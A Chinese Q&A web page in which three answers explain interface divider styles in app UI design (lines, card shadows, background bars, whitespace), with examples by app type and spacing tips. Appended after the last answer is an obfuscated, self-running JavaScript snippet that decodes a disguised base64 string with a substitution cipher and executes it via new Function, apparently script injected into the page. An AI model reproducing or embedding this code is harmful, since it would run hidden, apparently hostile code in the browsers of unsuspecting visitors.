想问问UI设计中的界面分割是什么,有什么作用?

2025-03-15 03:17:10
推荐回答(3个)
回答1:

每一年设计都会有新的设计方向,今年用最多是留白分割。设计的时候不能光看别的产品上使用,需要的是找到对自己产品最适合的设计方向

一、分割的作用

APP中分割布局中,能起到分隔、组织、细化的作用,帮助用户了解页面层次,赋予内容组织性。

二、常见分割方式

1、分割线分割

分割线是UI设计中最常见的一种分隔方式,能帮助用户理解页面层次,有分隔、组织的作用,一般是为了将内容分割开,形成独立的内容和信息。

分割的强弱:一般

对内容的干扰:弱,分割线因为存在感不太强,适合划分有关联性的内容,并且能够有效的提升浏览效率

上下滑动的视觉感受:贯穿线的存在感由线的颜色深浅决定,目前大部分页面的分割线存在感都不是很强,也因此浏览时信息比较流畅。

2、卡片投影

卡片投影一直是以小巧整齐的内容容器的形式而存在,每一个卡片的都承载不同的信息,是用户了解更多细节信息的入口

分割的强弱:强

对内容的干扰:强

上下滑动的视觉感受:阴影在卡片上的叠加,使卡片上的内容层级在视觉上提高了不少,能更好的拓展视觉深度以及可操作性,但使用这种分割对空间的要求有点高,也因此会显得整体页面视觉比较空。

3、背景栏分割

背景栏分割有点像一个容器上放了不同维度的内容,能够在内容区分的同时,还能保持界面的统一性

分割的强弱:强

对内容的干扰:强,这种布局会分散用户的注意力,阻碍用户快速扫览

上下滑动的视觉感受:每个被分割的卡片都是相对独立的维度,但是放在一个界面后,视觉上又会比较规整且统一,但由于分割感比较强,因此视觉阻断较强,阅读成本较高。

4、留白分割

利用间距来设计界面,对应的就是现在流行的无框设计,不适用分割线,纯粹依靠间距来实现界面的排版,目前来说这是一个大趋势,很多主流的APP都是通过留白来做的页面分割。

分割的强弱:弱

对内容的干扰:弱,由于本身是依靠间距来分割的不同模块,因此不存在对内容的干扰。

上下滑动的视觉感受:页面大多是以图片为主,本身的边缘就具备分割作用,内容少并且极有规律,整体界面风格简洁大方易识别。

回答2:

不同类型的分割比如说:

电商类
电商类的APP属于业务比较复杂的界面, 既要保证首页业务展示的完整性,又要保证用户使用时的流畅感,设计时都要考虑一些技巧和思考维度。淘宝、天猫和京东使用的是大背景上增加白色卡片作为分割版块,使功能复杂的页面看起来很规整并且简洁,同时界面的空间使用率也很高
音乐类
音乐类APP属于界面功能比较简单一点的页面,功能上最根本就是听歌,但不同的流媒体音乐都有各自的个性,及独特的卖点,也因此视觉设计上都有各自的风格;虾米、MOO音乐模块的分割使用的都是留白分割,虽然整体视觉上风格都不同,但是使用的分割方式都是大留白,让整个页面看起来很统一且规整
漫画类
漫画类的APP大多都是靠内容IP撑起来的,产品的核心是IP,也因此设计的时候封面占漫画首页的80%,这也要求了分割线不能太过强的存在感;快看漫画、腾讯动漫、知音漫画都是用的留白分割,我看过之前知音漫画的改版,之前使用的是背景分割,对此我的看法是上面提到的背景分割对用户阅读时造成的干扰比较大,而漫画类的首页图片存在感就很强,因此降低分割线的存在感才是合适的做法
内容类
产品核心在于UGC内容的呈现,因此这种类型界面设计时就需要凸显用户和内容的关联性,从而促进信息在用户之间沟通

回答3:

您好,下面分享如何让UI设计的界面更干净整洁。

5个技巧让界面更加干净

1、减少线条

页面上面线条太多,会让人觉得页面复杂,线条好了,看起来就会清爽干净。

2、合理留白,拉开信息层级

合理的留白可以增加产品的品质,也可以让主题更加突出,有些页面上面有很多元素,看上去非常拥挤,如果适当留白,看上去更加清爽。

3、运用卡片整合信息

卡片式设计将信息、图像归类整合到一个方块里,清晰直观又避免页面因为信息多而散乱。卡片的排列方式是按列或者行的方式进行对齐展示,视线沿着横向或者纵向浏览能快速找到想要的信息,此外,这种固定大小的卡片方块也有利于栅格化排版。

4、加强行间距,+4原则或黄金比例

行间距大家都知道,但是具体如何设计很多人不知道,一般常用规则是+4,比如文字大小是12PX,那么行间距就是16,依次类推文字是14那么行间距就是18。

5、加大字间距:0.1或者0.2勿过大

字间距同样很重要,特别是做英文排版的时候,同样的内容,字间距和行间距不合适,界面看起来就会相差很多,有的看着很舒服,有的看起来说不出来哪里不对。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();